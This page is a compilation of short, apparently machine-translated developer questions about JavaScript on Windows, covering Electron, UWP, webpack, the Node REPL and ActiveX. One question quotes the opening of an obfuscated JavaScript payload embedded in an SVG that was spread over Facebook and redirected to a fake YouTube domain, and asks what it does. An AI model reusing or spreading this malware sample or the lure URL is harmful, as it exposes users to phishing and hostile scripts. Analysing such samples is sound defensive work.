Articles of javascript

电子:定制协议示例在Windows中不起作用

电子版本:1.4.4 操作系统:Windows 10 x64 你好, 我试图“破解” electron文件协议,以便我可以处理绝对path 。 在os x一切正常。 在Windows上,我无法从协议文档中得到示例工作,它会引发ERR_FILE_NOT_FOUND错误。 我喂了一个forms为atom:///path/to/index.html的pathstring,并试图将atom注册为标准scheme。 调用win.loadURL()时会在启动时发生错误。 如果我调用file:///path/to/index.html ,文件被正确加载(但是,绝对path的后续资源失败),但没有registerFileProtocol或interceptFileProtocol组合为我工作,即使我明确地返回stringfile:///path/to/index.html在callback中,我得到错误信息。 任何见解,将不胜感激。

恶意JavaScriptembedded在SVG – 它做什么?

我收到了两个文件(SVG图片)的facebook消息,我点击了其中的一个(我不知道为什么:(),然后打开红点的新标签,然后我立即被redirect到一些假装看起来像Youtube的网站( http://kerman.pw/?fb_dsa )。 然后我使用“保存链接为…”function下载.svg文件。 这似乎是一些JavaScript代码embedded到SVG,所以我在这里发布(我不知道JS非常好): <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="250" cy="250" r="50" fill="red" /> <script type="text/javascript"><![CDATA[ function xcxxy(gyqbv,hzrgh,ktjrf){ var qixua = "XY_/3cU.ioGJkP2hgveS1Tj75ABb=Nrs:u?fKmdI0nLty84CRpVOzaFD9lZExMH6"; var vyqsvo = ["rYf=3vXU:zitl17N.k24ah8ZO6KoDFjPMEceRmsTGbdVBH59uJS\/I0g_CL?pxAyn","RN?dh38MCU0o6u=tIXPp.nZJzc5D:TiLFOvYfjG4E2K1A_rgaHykbS\/9lB7sexVm","n4mAObK9zBt_YZrcE1JHM.SF=dRT:6aDeUuIPi2vfhkGXp?y5LgVoCj0873lxN\/s","C981S?moMiHktu:nev0ZBzVh.2FONIcbxf7GYL6RgpUTAP4j_DJl\/dKa35rsX=Ey","9n?SGiTY6z8BjCbM:Lpsr0xZeUvPaH.JmfudtlE1\/y=kFODRKN24c5oX37_hAIVg",":z2oNO?Tr=aIx8.6gVeRn4_vYE5f1mZAXKltbuU7ByDSMis0Fk\/Pjch3CGLHJd9p"]; var bnkdip = ""; var igrqm = 0; while(vyqsvo[igrqm]){ igrqm++; } var kwwtmh = 0; while(gyqbv[kwwtmh]){ var jikaig = 0; var axfnq […]

UWP:无法访问LicenseInformation

我正在使用下面的一段代码来检查我的UWP-JS应用程序,如果应用程序内购买是活跃的: (function () { // Initialization // var store_app = Windows.ApplicationModel.Store.CurrentApp; var store_app = Windows.ApplicationModel.Store.CurrentAppSimulator; var licenseInformation = store_app.licenseInformation; // Check for Product if (licenseInformation.productLicenses["product1"].isActive) { // do something } else {}; })(); 当我debugging这个时,我得到第5行的以下错误: 0x803d0000 – JavaScript运行时错误:input数据不是预期的格式或没有预期的值。 我正在关注这个文档 我究竟做错了什么?

将recursion文件夹中的多个缩小的JavaScript文件合并到一个文件中

我有多个缩小的文件在一个文件夹中的多个文件夹中缩小的js。 我希望从所有缩小的js创build单个js文件。 现在我正在使用type命令连接所有文件 type .\\v2\\dist\\js\\*.js >> .\\build\\a.min.js && type .\\v2\\dist\\js\\config\\*.js >> .\\build\\a.min.js && … 像明智的我需要追加所有的recursion文件夹。 有没有干净的方法来做到这一点。 请不要build议使用Gulp或Grunt,因为我们已经在删除它们并使用Webpack。 任何使用webpack或使用npm或简单的命令行代码是受欢迎的。

NodeJS REPLvariables赋值 – 需要帮助弄清楚什么是错误的

我来自Python世界,我试图使用Windows机器上的节点REPL从CLI执行一些即时testing。 这是我无法解决的问题: > var foo = true; undefined > foo true > foo > foo > foo true > foo true > foo > foo true 我的问题是:我应该如何弄清楚发生了什么?

webpack为开发构build时的语法错误

我无法使用webpack构build项目,因为我总是遇到语法错误。 此外,当我的朋友在Linux上运行相同的代码(我在Windows 10上工作),他没有得到任何错误,一切正常。 这是我的webpackconfiguration const path = require('path'); const autoprefixer = require('autoprefixer'); const CopyWebpackPlugin = require('copy-webpack-plugin'); const ExtractTextPlugin = require('extract-text-webpack-plugin'); const HtmlWebpackPlugin = require('html-webpack-plugin'); const WebpackMd5Hash = require('webpack-md5-hash'); const CommonsChunkPlugin = require('webpack/lib/optimize/CommonsChunkPlugin'); const DefinePlugin = require('webpack/lib/DefinePlugin'); const HMRPlugin = require('webpack/lib/HotModuleReplacementPlugin'); const LoaderOptionsPlugin = require('webpack/lib/LoaderOptionsPlugin'); const NamedModulesPlugin = require('webpack/lib/NamedModulesPlugin'); const OccurrenceOrderPlugin = require('webpack/lib/optimize/OccurrenceOrderPlugin'); const ProgressPlugin = […]

如何从UWP(通用Windows平台)Web应用程序启动PDF

我已经将现有的Web应用程序(HTML5,JS,CSS等)转换为Windows UWP应用程序,以便(希望)我可以通过Windowsapp store将其分发到Surface Hub,以便它可以脱机运行。 一切工作正常,PDF浏览除外。 如果我在新窗口中打开PDF,基于边缘的浏览器窗口就会崩溃。 如果我打开一个IFRAME并加载PDFJS,那也崩溃。 我真正想做的只是将PDF转交给操作系统,以便用户可以在任何已安装的PDF阅读器中查看它。 我发现了一些特定于Windows的JavaScript API,看起来很有前景,但是我无法让它们工作。 例如: Windows.System.Launcher.launchUriAsync( new Windows.Foundation.Uri( "file:///"+ Windows.ApplicationModel.Package.current.installedLocation.path .replace(/\//g,"/")+"/app/"+url)).then(function(success) { if (!success) { 这生成一个file:// URL,我可以复制到边缘,它显示PDF,所以我知道URL的东西是正确的。 但是,在应用程序中它什么都不做。 如果我将一个https:// URL传递给launchUriAsync函数,那就行了。 所以看来,函数只是不喜欢file:// URLs。 我也试过这个: Windows.ApplicationModel.Package.current.installedLocation.getFileAsync(url).then( function(file) { Windows.System.Launcher.launchFileAsync(file) }) 那也行不通。 再次,没有错误。 它只是没有做任何事情。 任何其他事情的想法,我可以尝试? – 更新 – 看到接受的答案。 这是我最终使用的代码。 (请注意,我所有的文件都在一个名为“app”的子文件夹中): if (location.href.match(/^ms-appx:/)) { url = url.replace(/\?.+/, ""); Windows.ApplicationModel.Package.current.installedLocation.getFileAsync(("app/" + url).replace(/\//g,"\\")).then( function […]

用batch / cmd打开一个网页并执行javascript

我已经有一个包含这个命令的batch file: 启动firefox -new-tab www.google.de 现在我想在这个页面上自动执行js代码,如: alert('Hello World!'); 就像你可以在Firefox的JS控制台中做的一样… 我不拥有该网站。 我希望它可以与google.de等其他网站一起工作… 显然我使用的是Firefox和Windows。 提前致谢!

标准的ActiveXObject引用列表

是否有可用的标准ActiveXObject对象的引用? 到目前为止我知道: Excel.Application Excel.Sheet Scripting.FileSystemObject的

在Windows Firefox中使用Facebook Likebutton发布

我有一个像button(iFrame版)的Facebook,覆盖在一个完整的浏览器Flash应用程序的顶部。 类似的button被连接起来,像应用程序中的单独图像一样,当每个新图像被显示时,类似的button被使用ExternalInterface的数据刷新。 类似的button使用JQuery fadeIn()/ fadeOut()淡入淡出每个新的图像,再次使用ExternalInterface调用。 我遇到的问题是,在Windows上,这似乎并不想工作,特别是在Firefox … CSS: html { height: 100%; overflow: hidden; min-width: 800px; min-height: 600px; } #flashContent { position: absolute; top: 0px; left: 0px; height: 100%; width: 100%; z-index: 1; } body { margin: 0; padding: 0; background-color: #000000; } #fb-like { position: absolute; bottom: 32px; left: 510px; width: 280px; z-index: 9999; […]